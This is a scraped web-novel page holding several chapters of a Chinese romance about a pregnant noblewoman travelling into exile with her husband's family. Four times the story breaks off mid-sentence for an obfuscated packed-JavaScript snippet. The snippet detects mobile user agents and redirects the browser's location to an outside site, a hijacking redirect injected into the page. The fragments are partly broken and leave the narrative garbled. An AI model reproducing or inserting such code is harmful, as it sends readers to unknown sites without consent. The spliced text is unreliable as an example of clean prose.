;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789941|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣家来的人竟还是位主子。 “大哥哥。”宣槿妤又惊又喜地叫道。 来人正是宣家嫡长子宣文威,此时听到妹妹在叫他,便应了一声,加快了脚步。 几日未见,兄妹二人都十分欣喜。 “我以为要好久都见不到大哥哥了。”宣槿妤站在兄长面前,抬头看他,眼圈已经开始泛红。 站在一旁的宣文晟不乐意极了,“妹妹,你昨日见到我的时候都没哭,怎么见到大哥眼圈就红了?” 苏琯璋低头去看宣槿妤,果真见她眼圈都红了,攥着她手腕的手便是微微一顿,很快放松了力道。 宣槿妤还没回答,宣文晟就继续阴阳怪气,“妹妹,说实话,你是不是更喜欢大哥了?明明之前还说更喜欢三哥哥的。” 宣文威:“……” 几月不见,他这三弟越发矫情了,也不看这是什么场合。 再说,他吃个哪门子的醋?妹妹明明自小就和他最要好,自己都还没说什么呢! 苏琯璋:“……”三舅兄性子果真与众不同。 不过,槿妤当真说过更喜欢三哥哥? 他微微打量着说出这样一番让人惊诧的话来却仍不改面色的宣文晟,竟然察觉到了心里的不满,不由收回目光。 宣文威:“三弟慎言,槿妤明明更喜欢我这个大哥哥。” 见宣槿妤情绪还有些不大好,宣文威难得加入宣文晟的醋言醋语中来。 宣文晟不敢置信地看着自家大哥,这还是自己那个自持府中长兄的身份而从不与弟弟妹妹争锋的大哥吗? 不过他反应也很快,知道大哥在配合他,顿时不甘示弱,“大哥胡说,妹妹最喜欢她三哥哥我了。” 一旁的苏家人都看呆了,一时面色各异,简直恨不得自己会那传说中的隐身术才好,免得在这儿听这宣家兄弟间的争风吃醋。 简直尴尬透了。 一旁的方沅沅:“……” 她心里的惆怅终于散去,只揶揄着去看兄弟话语中的主角儿宣槿妤。 宣槿妤也是想不到自家兄长会当着众人的面争论起来,三哥哥还好,他自小便无厘头,家里人也都习惯了。 但是大哥哥竟也配合着三哥哥胡闹,她是真想不到,一时怔愣了片刻。这会儿被方沅沅轻轻捅了捅手臂,才回过神来。 “好啦,两个哥哥我都喜欢。” 宣槿妤挣开苏琯璋的微微扣在她手腕处的大掌,一手将一个兄长牵住,“秩哥儿还看着呢,哥哥们快别说了,当心秩哥儿笑话。” 她去逗被宣文威抱在怀中的小侄子,“对吧?秩哥儿?方才你大伯父和你爹爹是不是很幼稚?” 秩哥儿一脸懵懂,方才父亲和大伯父之间的争风吃醋他是一点也没听懂,此时听小姑姑问他,只下意识点头。 这下宣槿妤是真的撑不住,笑了出来,“好秩哥儿。” 她这一笑,方沅沅也忍不住偏过头去笑了。 真稀奇,一贯有长兄之风的大伯子竟也会如此,嗯,就是妹妹说的“幼稚”,这个词真是用得再贴切不过。 43. 第 43 章 这时,听了半晌的慕哥儿再也忍不住,去问他的兄姐们,“哥哥姐姐们,小婶婶不是最喜欢小叔叔吗?” 他还记得前两日在密林里时祖母说小婶婶心疼小叔叔的事,“为什么他们都说,说小婶婶……” 他年纪还小,有些记不大清宣文威和宣文晟说的什么“妹妹更喜欢谁”的话了,只说了一半便挠挠头,嘿嘿笑着,不好意思地去看六位兄姐。 一旁听到他问话的大人们都忍不住偏头去笑,宣槿妤的婆家嫂嫂们更是忍不住揶揄地盯着她,直看得她面上发烫。 偏偏这时彤姐儿摸摸小堂弟的头,还肯定了他的疑问,“慕哥儿你说的没错,小婶婶最喜欢小叔叔了。” 彤姐儿话一出,其余四个比她小的便开口附和;就连她的兄长启哥儿,也跟着一本正经地点了头。 这下,便是宣槿妤娘家嫂嫂方沅沅也忍不住用促狭的目光去看她——昨夜二人才说过贴心话,她最是知道真相不过。 唯二满头雾水的宣文威和宣文晟兄弟默契地去看宣槿妤,她是和苏家孩子们说了什么?为什么他们都这么肯定妹妹的心事? 宣槿妤窘迫到连脖子都是红的,想要否认,但她总不能当着大家伙的面儿跟孩子们说她不喜欢他们小叔叔吧? 她转身将头埋在苏琯璋怀里,恨恨地捶了他一拳。 为什么他的侄儿侄女们都说是她喜欢他?就不能是他喜欢她么? 再怎么舍不得,也要分别了。 庄子外头有个凉亭,就建在池塘边上,微风习习,是宣文晟专门让人建了供在农田里干活儿久了想要歇一歇的农户们纳凉用的。 此时凉亭里只站了宣家一家人,以及宣家女婿苏琯璋。 宣文威仍旧抱着侄子,对着三弟微微颔首,“三弟放心,弟妹和侄子在家不会受委屈的,你且安心便是。” 宣文晟摸了摸秩哥儿的小脸蛋,看着全然不知要很长时间见不到父亲的儿子,“秩哥儿还记得爹爹这几天和你说的话吗?” 秩哥儿点头,掰着手指头,“要听祖父祖母的话,要听娘亲的话,要听大伯父二伯父……的话。” 他一个一个点过去,将家里的长辈点了个遍。 宣文晟失笑,难为儿子小小年纪,又几月不回京,竟还记得家里都有哪些人。 “秩哥儿说对了,奖励你吃一块糖。”宣文晟随手从袖中掏出一块饴糖,递给因被爹爹夸赞而兴奋不已的儿子。 “爹爹给秩哥儿拆开。” 宣文晟便接回来,拆开后放到他嘴里,“接下来一段时间,爹爹要和小姑姑去一个很远的地方,不能陪你了。” 他控制着自己的情绪,“秩哥儿要乖乖听娘亲的话,想爹爹的话就叫娘亲给爹爹写信好不好?” 这也是爹爹说过的话。秩哥儿吃糖吃得两颊鼓鼓的,含糊不清地应了声“好”。 “爹爹想秩哥儿了,也给秩哥儿写信。”才两岁的小人儿,说话已经很流利了,想来和方沅沅常教他背诗有关。 宣文晟鼻子一酸,“好,我们拉钩。” 方沅沅眼眶一热,忙别过头。 宣槿妤将头埋在苏琯璋怀里,无声地流着泪。 “走吧,我送你们上马车。”宣文晟收拾好情绪,对宣文威说道。 他将方沅沅的手拉过来,紧紧握了一下,还想说些什么,被她阻止了。 “你有空就往家里寄信,”方沅沅眼里含着泪,唇角却带着笑,“别担心我们母子俩。” 宣文晟终于忍不住,顾不得还在人前便将妻子紧紧抱在怀中。 宣文威转头避开,温和地对着哭成泪人的宣槿妤道:“信我会亲手交给外祖父和爹娘的,你也别哭了,当心身子。” 宣槿妤埋在苏琯璋怀里,只是点头,不敢开口。 秩哥儿嘴里还含着糖,好奇地看着抱在一起的爹爹和娘亲,小姑姑和小姑父,又去看正抱着他的大伯子,干净清澈的眸中一派懵懂。 宣文威摸了摸他的头,将他的小身子按在自己怀中。 “走咯,大伯父带你回家。” “好耶,回家咯!”秩哥儿只听懂了回家二字,顿时欢呼雀跃起来,稚嫩的童声将刚要落下的鸟雀惊走。 凉亭外翅膀的拍打声终于将宣文晟和方沅沅的心神唤回,二人分开,双目对视,一切尽在不言中。 “槿妤,陪三嫂嫂再说会儿话吧!”方沅沅擦了擦眼角,走到宣槿妤身边,温声叫她。 苏琯璋拍拍她的背,微微后退一步,将她拉出自己的胸膛,“我在这里等你。”他用帕子将她的眼泪擦干,语气很是温柔。 他这样难得的温柔宣槿妤却是没有心思在意,也根本没听出与他平常的语气有什么区别。 她跟着方沅沅走到凉亭外、马车边上。 车夫是宣家老人了,见自家小姐和三少夫人显然是一副要谈事的模样,便冲着二人行了一礼,控制好马,走到一旁去了。 “三嫂嫂。”宣槿妤愧疚地开口唤方沅沅,却不知道该说些什么。 “傻姑娘,别什么事都揽上身。”方沅沅将宣槿妤沾在脸上的发丝轻轻挽回她耳后,“别觉得对不起我们,我只知道,我们是一家人。” 宣槿妤哽咽着不住点头。 方沅沅伸手抱住她,附在她耳边,“妹妹,若你觉着妹夫是个良人,别管他以前心里装着谁,你让他以后心里只有你就行了。” 这是她还未遇到宣文晟,尚待字闺中时,母亲曾教她的话,现在由她再来教给小姑子。 “也别委屈了自己,我们宣家的姑娘,就该明媚如烈阳。” “也别看路上这么多人看着,担心失了面子。别忘了,你还有身孕呢!有孕的妇人,脾性阴晴不定是很正常的。” “你不是说常忘了委屈吗?平时忘了就忘了,心宽体胖嘛!” 方沅沅给宣槿妤出着主意,“只若是身子不舒服,不要忍着,他是你夫君、是你肚子里孩子的父亲,你再怎么使唤他都是应当的。” “你只管按着心意来,闹也好哭也好。我冷眼瞧着,妹夫还是挺吃你这一套的。”她忍不住笑。 妹妹从前一和妹夫闹脾气,若是苏家人哄不住,便会赌气跑回宣府。 她可是听婆母林清婉说过,妹妹一回娘家,妹夫是一下值就巴巴地跑到宣府去找人的。 就连她这个常年随宣文晟在外跑商,不常回盛京城的人,也有幸见识过一回。 她昨夜回房后琢磨了许久,觉着这小夫妻二人性子天差地别也不全然是坏处,毕竟一物降一物嘛!他们夫妻二人之间就是被彼此吃得死死的。 宣槿妤惊讶地听着三嫂嫂一番肺腑之言,连离别的愁绪都忘了。 方沅沅怜惜地看着被自己一番话震懵了的小姑子,“我昨夜想了许久,觉得妹妹你以前就做得很好。今后还是随着自己性子和心意过活,你们之间定是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797124|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美满的。” 宣槿妤红着脸,直到目送宣文威骑上了马,方沅沅和秩哥儿上了马车,还想着方才三嫂嫂的那一番话。 “我们先走一步。”宣文威确认弟妹和侄子已经坐好后,便冲送行的一众人颔首,“诸位保重,我们在京中等着你们。” 亏得陈阳王虎他们知道宣家人要回京,不便围观人家的依依惜别的场面,主动留在了外院没有出来。 不然就宣文威这样坦坦荡荡地说着“在京中等着”的话,他们也不知道该不该觉着他是在违抗圣意。 就观皇帝的圣旨,虽然他写漏了定罪之事,但上头写的密密麻麻的字字句句,可都是让苏家人好好在广虚府待着、别想动什么“歪心思”的话啊! 甚至王虎还大逆不道地在心里嘀咕过,莫非陛下是写的字太多太入情,才一时将定罪的事情给忘记了。 “保重。”宣槿妤眼泪又流出来了。 宣文威最后回头看了一眼妹妹,便狠下心,对着前方的人示意可以离开了。 马儿跑了起来,套着车厢的马儿也在蓄势待发,等候着车夫的指示。 宣文威带着一众侍卫护持在方沅沅母子俩的马车两侧,走在了队伍中间。 前方是带头的府中侍卫,有数十名;中间偏后的位置也跟了几辆马车,坐着的是随行的丫鬟仆妇;队伍末尾,也同样有数十名侍卫随行。 因为从这灵峰山到盛京城,乘坐马车也不过大半日的路程,且宣文威来时有所准备,故而这一行人的行李并算不上多,一辆马车就装下了。 但这样浩浩荡荡的一行人,行头竟也不输他们这百多人的队伍。 等北上的队伍消失在他们视线尽头,也到了南下这队人该继续上路的时候了。 方沅沅没有带走的大半行李,都被宣文晟装进了他的车队,假作行商,一路跟着苏家人去往广虚府。 有了陈阳的事先提醒,宣文晟明面上并没有带太多人。 陈阳见他只带了五辆马车,十名侍卫和做饭的两名仆妇就跟着上了路,便没有说什么。毕竟不过是替换了刑部置办的那几辆马车,又多了些许人而已。 而远远缀在队伍后头,一副行商模样仿佛只是无意中与他们同行的车队,他和王虎商量过后,也只睁只眼闭只眼假作不知。 至于暗处这位宣家三公子还有没有安排人,安排了多少人跟着,他们也无从知道,更是没有合适的理由去阻拦。 二人面面相觑,只双双苦笑,昨日还以为这位宣三公子听进了他们事先的告诫,却没想到,被他以这样的方式反将了一军。 而他们却没有任何站得住脚的理由去指责他不守信用。 不过除却这个小插曲,这支队伍在有宣文晟的加入后,非但没有他们以为的以势压人,让他们为难;反而出乎他们的意料,他的表现相当低调。 只给苏家人尤其他妹妹宣小少夫人以必要的优待外,他再没有多余的动作,也如他所答应的那样,行程由着他们安排,并不干涉。 如此,陈阳和王虎便彻底放下了心底的戒备。 一行人在路上又走了三日,有了马车,他们的速度终于快了起来。 虽说马车为照顾怀了身子的宣槿妤,担心她受颠簸,行驶的速度堪比步行,但好歹不用走走停停了。 他们也终于不必强行压着步速,憋屈地照着妇孺孩童的速度来行走,能够放开步子,走得可谓是步步生风。 44. 第 44 章 四月初一的暴雨,果真是个预警。 南下去往广虚府的一行人只又享受了不到十日的晴好天气,便迎来了兜头的阴雨。 这场阴雨一连缠绵了大半个月,如今时间已经来到了五月。 宣槿妤腹中的孩子已经四月有余,宽松的衣裙再也遮掩不住她的身形。 虽说只从背后观察还是名窈窕佳人,但从正面或侧面看都能见到她微微隆起的腹部,像是卧在平地的一处小山丘,不起眼但绝对明显。 每逢休息时孩子们凑到宣槿妤身边的次数也多了起来,叽叽喳喳的,对着宣槿妤的肚子就是一口一个“弟弟”或“妹妹”。 三名女孩儿一口咬定小婶婶肚子里的是妹妹,四名男孩儿则信誓旦旦说是弟弟,双方互不相让,谁也说服不了谁。 夜里睡下前宣槿妤想起侄子侄女们可爱的争锋,不由趴在苏琯璋身上笑了好一会儿。 苏琯璋正专心地为她擦着头发,他如今擦头发的技艺已经十分娴熟,灵巧程度不输宣槿妤的贴身丫鬟。 眼下他感受着趴在自己胸膛上的娇软身子在不住颤抖,不由偏头去看她,便看到了她脸上愉悦的笑容。 不过他也不敢去问她为何发笑——随着月份增大,宣槿妤的性情就开始阴晴不定起来,心情好坏都来得突然去得也突然。 他这段时日又恢复到了还未被流放前,在苏国公府荆竹园时的状态,总担心会惹到她,说多错多,干脆沉默以对。 幸好宣槿妤这段时日已经不再因为他的清冷寡言而对他心生不满,她近来倒是因为身子的变化而敏感,掐他咬他的次数也多了起来。 不过他也只受着,也没有半点不满。 “你说,”察觉苏琯璋在看自己,宣槿妤顺势问道:“我肚子里的是儿子还是女儿?今日燕姐儿和慕哥儿又吵起来了。” 她想起这对亲姐弟吵起来僵持不下时互相朝对方冷哼,自以为己方气势颇凶、实则怎么看怎么可爱的趣致场面,又笑了起来。 前些天日日下雨不适宜出行,孩子们被拘在驿站里,只能在各自不大的房间里待着,就是在那时候他们养成了猜测宣槿妤腹中孩子是男是女的习惯。 也是那时候,苏家人才发现,苏琯武和丁茜茜这双儿女竟是互相“不对付”,姐弟间好起来是真好,一旦争执起来也是真让人头疼。 清甜悦耳的笑声近在颈侧,苏琯璋只觉脖子痒痒的,心里也痒痒的。 “你想知道?”苏琯璋问她,清冷低沉的嗓音里已经带上了微不可察的一丝克制过后的哑意。 三日前他已经诊出她腹中孩子的性别,想要告诉她。 但宣槿妤说她不想现在知道,不然会失去孕期猜测男孩儿还是女孩儿的快乐,也少了一分期待感。 反正等到孩子出生时她自然会知道孩子的性别,是男是女都是他们的孩子,她都喜欢。 宣文晟和其余苏家人也是这个意思,双方现在准备孩子的小包被、小衣裳、小袜子等小物件儿时都是分了双份,按男女不同颜色来准备的。 如此便显得唯一知道孩子性别的苏琯璋实在格格不入,他还被宣槿妤逼着不许插嘴。 不过依他的性子,便是宣槿妤没有发话,他也不至于去破坏家中人的兴致。 宣槿妤察觉到苏琯璋擦拭头发的动作已经停了下来,便坐直了身子,“我不想知道,你不要告诉我。” 生怕这男人要和她作对非要告诉她,宣槿妤还捂紧了耳朵。 苏琯璋被她可爱的反应逗得心里一软,面上也不自觉柔和下来,将她的双手拉下来握在双掌间,“好,我不告诉你。” 她肚子虽然也才刚显怀没多久,但是他亲眼见着一天天隆起来的,也是他日日为她把脉,观察着孩子的发育情况。 且她腹中孕育的是他们的孩儿,身上流着他们二人的血液,宣槿妤虽不知这男人心里是何作想,但她感受得出这男人对她的小心翼翼在与日俱增。 宣槿妤面上也添了一层柔软,将他的手牵引着放在自己腹上,“你说,它什么时候会动啊?” 她这时候声音里就多了一层为人母的温柔和慈爱,配合她全然放松温软下来的眉眼,很能触动人的心扉。 苏琯璋抽回左手,将她抱坐在自己腿上,右手仍旧由她拉着置于她微微隆起的腹前。 “快了,”他忍不住在她的眉心亲了亲,“一般是四到五个月就会有胎动,再等等。” 今夜他们住的不是驿站,而是许玉娘的陪嫁庄子,庄子管事依着吩咐分给他们的是一座单独的小院子,很是清静。 就像宣槿妤对方沅沅说的,她如今已经不适应旁人来伺候她了。 如今她沐浴时都是苏琯璋在帮她。 许是彼此才袒露过身子,又适逢连绵雨天,窗外滴答滴答的雨声放大了人心里的渴望。 二人双目相对时,彼此眼神中的缠绵情丝再也遮掩不住,夫妻间有些事便自然而然地发生了。 顾忌着宣槿妤的身子,苏琯璋只略略尽了兴便收敛了心思。 再次洗浴过后,身心皆得到满足的宣槿妤躺下时下意识依偎进他怀中,才闭上了双眼。 苏琯璋亲了亲她的额头,又细细替她诊了脉,确认二人方才的一番动作没有伤到孩子,才放心睡去。 久违的亲密过后,再独处时夫妻二人之间多了些缠绕不清的暧昧,一连三日,苏琯璋没再让宣槿妤动过气。 他身上的咬痕和掐痕也终于彻底淡去。 端午节过后,天气终于放晴,气温也明显升高不少。 孕妇怕热,宣槿妤身上的衣裳也薄了几分,越发凸显出她的孕肚。 马车里垫了松软厚实却透气的垫子,中间还铺了一张凉簟,最上面再盖一层薄薄的被子,如此躺在上面的人既清爽而又不至于觉着过于冰凉。 马车行驶时宣槿妤躺在上面也不会轻易被颠簸到。 不过安全起见,宣槿妤坐在马车上时,苏琯璋多数是陪在她身边的。 若她烦了他,便会将他赶下马车,换婆母许玉娘或三位嫂嫂上来陪她。有时候孩子们也会在母亲或祖母的陪同下,到车厢里和小婶婶说说笑笑解解闷。 五月中旬时,他们走到了北丘府,恰逢这里进入一年的雨季。 顾名思义,北丘府多山,雨季时泥石流发生的几率极大且危险,陈阳王虎不敢冒险,一行人只得在驿站停了十余日。 等到将近六月,雨水稍歇,王虎实在不愿意再待在这狭小的驿站。 等到派去前方探路的官兵回报上峰陈阳,说道路可以通行之后,他便说服了众人,一行人便又继续南下。 这时宣槿妤肚子里的孩子已经满了五个月,又比四月时大了一小圈,先前的害喜反应已经消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802540|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失,但越发嗜睡了。 好消息是,在他们遇上这扰人的雨季之前,宣槿妤已经察觉到了胎动,夫妻二人如何欣喜自不必多言。 马车“轱辘轱辘”离开了北丘府驿站,但才走不到七里地,到一处山坡时,路况便艰难起来。 山上的路官府是不会管的,这里常年在走的百姓也没那个闲钱和那份心思去修路。 一条宽阔可以容纳两辆马车并行的道路还是常年行走的商队日复一日、年复一年走出来的。 这样的路,自然也算不得好。 装了行李的马车行驶在前方,用于探路,此时车厢被颠得摇摇晃晃,偶有碰撞声传出来。 众人便明白,这种情况下宣槿妤显然不适合待在马车里,即便有苏琯璋抱着她稳着她的身子也不行。 搞不好马车撞到什么碎石烂沟侧翻,谁也不敢冒这个险。 尤其几日前他们还听说过这样一件事。 一辆经过山脚的马车,恰逢泥石流,车夫加快了马车行驶的速度,险而又险擦着死亡边缘躲过了一劫;但马车里的孕妇被颠得肚子狠狠撞在了车厢的横栏上,当即血流不止。 那名孕妇都快到生产的月份了,这一撞,孩子竟是很遗憾地没能保住,就连大人也险些救不回来。 宣槿妤下了马车,正要如往常一样趴在苏琯璋背上,却被他拦腰抱起。 “我抱着你,莫压着孩子。”苏琯璋低声道。 宣槿妤揽住他的脖子,心下嘀咕,“才不会压到孩子。”她心里都有数的。 但看着周围的人,她咽下了那句话。 反正背也好抱也好,也累不着她,且他很久没有这么长时间地抱着她了——好像上次还是刚出盛京城没多久,她吃多了怕趴着顶到胃脘,才要他抱吧? 于是宣槿妤乐得让他抱着。 不过这一抱,便抱了一路。 “你的手还好吧?”晚上在一处庄子里借宿时,宣槿妤问苏琯璋。 因为路况实在不佳,马车没有载人,老人小孩都只能靠两条腿走路。 这也导致他们今日没能赶在入夜前走到最近的驿站,幸好这处庄子的主人收留了他们。 苏琯璋已经用药酒揉过双臂,且用内力最大程度催发了药效,闻言摇了摇头,“无事。” 他用药酒也不过是为让宣槿妤安心。 要知道,他从前刚开始习武时,所有的兵器都要熟悉,一练便是一整日。 等他到了漠北,上了战场,拿着重剑和敌军拼杀起来,一日一夜不得歇也是有过的事。 先头习武用的那兵器,和他后来在战场上用的重剑,可也没比宣槿妤和她腹中孩子加起来轻多少。 听他如此说,宣槿妤便放下了心,嘀咕了一句,“你说无事就无事,今后可都要你抱着了,谁让你不肯让三哥哥抱我。” 三哥哥是她同父同母的亲兄长,便是抱她也没什么。偏生这个人,今日下午在三哥哥提出要接替他时,被他拒绝了。 苏琯璋没有说话,只眸光略淡了几分。 出于男人的占有欲,即便宣文晟真是她嫡亲兄长,他也不会让抱的。 何况,据他这几年的观察和推测,宣文晟还真不是宣家人。如此,那就决然不行。 不过,妻子显然不知道他的“阴暗”心思和宣文晟身世的事,这话便很没必要说出口。 45. 第 45 章 又过两日。 一行人还是在连绵群山里头打转,这一回可不是陈阳故意带他们往山间钻的缘故,而是北丘府这个地方的地理特性。 这一日他们爬过了一座不高不低的山头,现下正走在下山的路上。 如前两日一样,苏琯璋也不敢再背着宣槿妤,生怕压到她肚子里的孩子。 不过他只是不敢冒险,若宣槿妤真趴上他的背部,肚子也不会碰到他。 自宣槿妤有了胎动之后,他便再不敢碰她。眼下已经素了许久,也不敢再起那等旖旎心思,倒是下意识忽略了妻子的身段。 此时宣槿妤正被他小心地抱着,跨过了拦在路上的山石。 连日暴雨才停了三日,山上的石块和泥土被冲下来了许多,听当地人说,前两日这里才有过一场泥石流。 “走快些。”宣槿妤头依靠在苏琯璋肩上,回头见他们头顶上方凸出来的岩石,有些不安。 她的直觉向来很准。 “好。”苏琯璋加快了脚步。 他高声和走在后头的人说了一声,于是后面的人也都加紧了速度。 苏琯璋抱着宣槿妤走到了山脚,寻到一处平坦安全的位置,便将她放了下来。 他回头去看被父亲苏声背着的祖母。 十日前因为雨天路滑,苏老夫人经过驿站天井时不慎摔了一跤,还将当时正搀扶着她的苏二婶和许玉娘都带得滑倒在地。 三人皆受了些轻伤。 苏二婶和许玉娘还好,相较于苏老夫人还是年轻不少的,习武之人些许擦伤、磕碰什么的,伤势只要不到骨折的地步,也不当回事。 但苏老夫人毕竟年迈,虽然当时许玉娘给她垫了一下不至于直接磕到头,但左脚恰巧磕在回廊的石砖上,有些轻微骨折。 苏琯璋当时亲自给祖母查看的伤势,替她固定好伤处,又是敷草药又是开了药方煎了药让她喝,直到这几日她才没再说伤处在疼。 “你快去帮忙。”宣槿妤也在看苏老夫人,见公爹背得小心翼翼,忙催促苏琯璋,她自己则走到了宣文晟身边。 苏声虽然仍旧年富力强,但内里毕竟也是那等粗糙的武人心性,做不大来这种细心照顾人的活儿。 让他平日里偶尔扶一扶抱一抱苏老夫人还好,不会出什么问题。 但如今苏老夫人伤势未好全,他便有些紧张兮兮的。既想加快速度又要顾忌别让母亲伤脚被山壁两旁凸出来的山石磕碰到,瞧上去明显就是一副很有些忙乱的样子。 宣文晟也对苏琯璋颔首,让他放心过去,“妹妹交给我来照看。” 苏琯璋放了心,便三步并作两步,快速走回去,接过父亲背上的祖母,将她背到了平坦处,安置她在宣槿妤身旁坐好。 苏声松了口气,抹了把因为过于紧张而出的汗,留下来照顾苏老夫人,苏琯璋便又回头去将母亲和二婶二人依次背了过来。 她们的擦伤虽然已经不碍事了,但到底做高抬脚、跨越这种大幅度的动作还是会有点不大灵活的。 且据他观察,这一路上母亲和二婶连走路也比往常慢了许多。 他想,两名长辈当是没有好好用他给的外伤药,晚上还是要拜托嫂嫂们替她们上了药才行。 这时孩子们也被各自的爹娘抱过了拦路的大山石。 “上方的岩石可能不稳,诸位要小心些。”苏琯璋见苏家人都到了安全之处,放下了心,又转头去跟走在后头的王虎重复了一遍。 王虎应了。 没有苏家一群妇孺在前方慢吞吞地走着拖累他们的行程,一群练家子放开了脚步,走得那叫一个快速。 苏琯璋也在大步往回走。 等走过了危险之地,方才他们头上的岩石倒是没有任何动静,却从更高的峭壁处有震耳欲聋的落石滚动声传来。 等苏琯璋抬头去看时,便正见一块巨石正正地朝他迎面砸来。 他如今站着的这个位置较窄,只能容一人通行,后面都是人,前方已经被先行砸下的另一块石头挡住了去路…… “夫君!”宣槿妤失声叫道,她下意识想往前跑,却被反应十分迅速的宣文晟牢牢攥住了手腕。 “妹妹别去!” “璋小子!” “小弟!” “苏小公子?” …… 巨石狠狠砸在山路中间,底部恰好被两边的山壁卡住,但那股势不可挡的劲头还未散去,带起的余威让整座山都仿佛在震动。 仿若地动一般的波动传到不远处宣槿妤他们所待的地方,直到小半刻钟之后才停了下来。 因为这股震动,从山上滚下更多落石,方才他们一直在留意的头顶上方那块岩石果真砸了下来。 还没来得及往前跑就被巨石挡住去路的王虎等人纷纷往后退,各自找着掩体躲避,但还是有人受了伤。 庆幸的是,宣槿妤他们所在的位置确实安全,落石还不待滚到他们那处就慢慢停了下来。 山体震动导致的泥土灰尘逐渐散去。 宣文晟双眼定定地看着那块将山路堵得严严实实的巨石,生怕看到从下方流出鲜红的液体,紧攥着宣槿妤手腕的力道也不由稍稍松了松。 苏琯璋被埋在巨石下了! 宣槿妤脑中一片空白,她本能地甩开宣文晟的的手,双手捧着肚子就跑了过去,很快到了那块埋着苏琯璋的巨石前。 她想也没想,伸出双手,只一抬,那块巨石便在众人难以置信的目光中,被她提着扔到了一边。 她扔的位置恰好是山路由窄变宽通往山脚的路,巨石滚到一侧,发出沉闷的声响,撞在山壁上,停止不动了。 苏家人追上来,还没来得及为苏琯璋伤心,就已经被她惊到;尤其不清楚发生了什么事情的孩子们,纷纷张大了嘴巴。 宣槿妤眼中的泪开始落下,目光在地上搜寻着,以为她会看到血流了一地、血肉模糊的苏琯璋。 只泪眼朦胧中,她什么也看不清。 她“呜呜呜”地哭了起来,声音嘶哑,“苏琯璋”,她叫着男人的名字。 “槿妤。” 宣槿妤什么也没听见,泪水不断往下滑落,滴在地上。 找不到,她没找到苏琯璋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808238|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣槿妤身子慢慢往下滑,她以为自己会倒在地上。 但有人抱住了她,“槿妤,是我。”那人在她耳边说道。 这回宣槿妤听见了,也闻到了抱着她的那人身上那股她熟悉而迷恋的气息,清淡寂静得像是雪一般的气息,像极了苏琯璋这个人。 宣槿妤脑中又是一片空白。 她身子微微僵着,只觉手脚不听自己使唤,但能察觉到那人正为她擦着脸上的泪,动作十分轻柔。 “槿妤,是我。”那人锲而不舍地在她耳边说着话,叫着她的名字,“槿妤,我没死,你看看我。” 身后的苏家人喜极而泣,抱成一团。 宣文晟也是松了好大一口气,擦了擦眼角的湿润,只站在二人身后不远处看着,并不上前打扰。 王虎等禁军们本是被巨石挡住去路,但石头很快被人合力抬起清到一旁——他们以为是这样。 但看了全程的陈阳等兵部官兵们皆目瞪口呆,末了面面相觑,完全不敢相信自己方才看到了什么。 那位看着弱不禁风的、娇滴滴的、挺着大肚子的宣小少夫人,一个人,双手抬起了足有三人高的巨石,还举起来扔到了一边? 他们定是眼花了……吧? 宣小少夫人和苏小公子夫妻情深,她担心丈夫,情急之下爆发出巨大的能量,所以能做到常人所不能之事。是这样的……吧?没错……吧? 一群大男人无声地互换着眼神,试图说服自己。良久,纷纷徒劳无功地长叹口气。罢了,说服不了自己一点。 “槿妤,回神了。”苏琯璋按揉着宣槿妤的背部,同时低头含住她的唇,为她渡着气。 大悲之下本就伤身,宣槿妤还怀着孩子,现下她已经有点喘不上气来了。 “槿妤。”眼见着渡气无用,苏琯璋狠了狠心,在她手上的穴位用力一按。 骤然而来的痛楚终于将宣槿妤涣散的意识拉了回来。 苏琯璋心下一松,忙将她抱到开阔的地方,让她坐在自己腿上,他则继续揉按着她的后背,平复着她的呼吸。 苏家人和宣文晟也察觉到了宣槿妤状态的不对劲,也没敢去打扰苏琯璋的动作,只跟了上去。不过并不敢靠近,紧张地看着他替宣槿妤顺着气。 约莫大半刻钟之后,宣槿妤情绪终于平复下来,也认出了苏琯璋,扑进他怀里抱着他的脖子又大哭了一场。 “没事了,没事了。” “呜呜呜,你这臭男人。”宣槿妤边哭边控诉着,“平时对我冷着脸,……”心里还藏了人,已经足够过分。现在竟还来吓我…… 